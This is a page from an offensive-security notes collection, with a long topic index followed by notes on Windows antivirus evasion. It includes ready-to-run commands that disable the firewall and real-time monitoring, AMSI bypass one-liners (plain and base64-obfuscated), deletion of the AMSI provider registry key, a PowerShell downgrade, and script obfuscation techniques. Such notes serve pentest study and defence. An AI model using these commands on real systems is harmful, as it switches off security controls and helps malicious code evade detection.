Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Antivirus Evasion
  - Enumeration
  - Reset Options
  - Anti Malware Secure Interface
    - Return Result/Response Codes
    - PowerShell Downgrade Attack
    - Reflection Bypass
    - AMSI ScanBuffer patch
    - Other Bypasses and Tools
    - Validate
    - Further Obfuscation
      - Type Obfuscation
    - Automated Obfuscation
      - Powershell
      - Other Obfuscation
  - Links

# Antivirus Evasion

- Existing types

  - On-Disk evasion
  - In-Memory evasion

- Detection Methods

  - Static Detection -- Hash or String/Byte Matching
  - Dynamic -- predefined rules, run inside a sandbox, querying API and syscalls at runtime
  - Heuristic / Behaviourial Detection -- threshold hits by either static comparison of decompiled code or dynamically analyzed software

- Additional Features

  - Unpacker -- decrypting and decompress
  - PE header parser -- portable executable headers are parsed
  - Emulation -- analysis in an emulated env

## Enumeration

    wmic /namespace:\\root\securitycenter2 path antivirusproduct
    Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

    Get-Service WinDefend
    Get-MpComputerStatus | select RealTimeProtectionEnabled

- Check firewall

    Get-NetFirewallProfile | Format-Table Name, Enabled

    Get-NetFirewallRule | select DisplayName, Enabled, Description

- Check inbound port availability

    Test-NetConnection -ComputerName 127.0.0.1 -Port 80

- Check Windows Defender and its active rules

    powershell -c "Get-MpPreference"
    powershell -c "Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Id

- Check tamper protection, and bypass

    reg query "HKLM\Software\Microsoft\Windows Defender\Features" /v TamperProtection

## Reset Options

    Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False

## Anti Malware Secure Interface

- Powershell .NET runtime detection measure of windows. Scans code before executed.
- https://docs.microsoft.com/en-us/windows/win32/amsi/
- https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions
- https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream
- Integrated inside components
  - User Account Control (UAC)
  - Powershell
  - Windows Script Host (wscript, csrcipt)
  - JavaScript and VBScript
  - VBA macros

- `System.Management.Automation.dll`

- Flow

                   |          Win32 API              |         COM API            |         AV Provider        |
    Interpreter --> AMSIScanBuffer --> AMSIScanString --> IAntiMalware::Scan() --> IAntiMalwareProvider::Scan()

### Return Result/Response Codes

    AMSI_RESULT_CLEAN = 0
    AMSI_RESULT_NOT_DETECTED = 1
    AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
    AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
    AMSI_RESULT_DETECTED = 32768

### PowerShell Downgrade Attack

- Downgrade Powershell version to 2.0, where no AMSI is implemented

    PowerShell -Version 2

- Unicorn does leverage this

### Reflection Bypass

- Varying string concatenation and camelCasing variations of the following string by Matt Graeber
- Matt Graeber's Reflection

    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

or an obfuscated version

    [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
    Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
    Set-MpPreference -DisableRealtimeMonitoring $true

### AMSI ScanBuffer patch

- Patching `amsi.dll`, which is loaded at Powershell startup

- AMSI ScanBuffer is delivered to `amsi.dll`

- Get handle of `amsi.dll`

- Get process address of AmsiScanBuffer
- Modify mem protection of AmsiScanBuffer

- Write opcode to AMSIScanBuffer

- BC-Security's AMSI bypass

- RastaMouse's AMSI bypass

### Other Bypasses and Tools

- S3cur3Th1sSh1t

- amsifail generates obfuscated snippets

### Validate

- AMSITrigger identifies strings which trigger the AMSI functions
- Validate Obfuscation and check which strings trigger AMSI
- AMSITrigger Repo

    .\\AMSITrigger.exe -u <URL> -f 1

or

    .\\AMSITrigger.exe -i <file> -f 1

### Further Obfuscation

- String concatenation

    $OBF = 'Ob' + 'fu' + 's' +'cation'

- `Concatenate - ('co'+'ffe'+'e')`
- `Reorder - ('{1}{0}'-f'ffee','co')`
- `Whitespace - ( 'co' +'fee' + 'e')`

#### Type Obfuscation

- .NET has type accelerators as aliases for types to shorten them and break the signature.
- idera
- 0x00-0x00

- Documentation at microsoft

- Example

  - Without

    [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

    * With

    [dorkstork]::copy($buf, 0, $BufferAddress, 6);

### Automated Obfuscation

#### Powershell

- Invoke-Obfuscation
- Daniel's guide to Invoke-Obfuscation

    Invoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit

- 8191 character limit of command prompt must not be exceeded.

#### Other Obfuscation

- Pinpoint bytes that will be flagged with ThreadCheck
  - Has to be build via VS. Will output a ddll, an excutable and an XML file.
  - `ThreatCheck.exe -f <file>`
- DefenderCheck

## Links

- cmnatic
- cmnatic's diss
- s3cur3th1ssh1t
- amsi.fail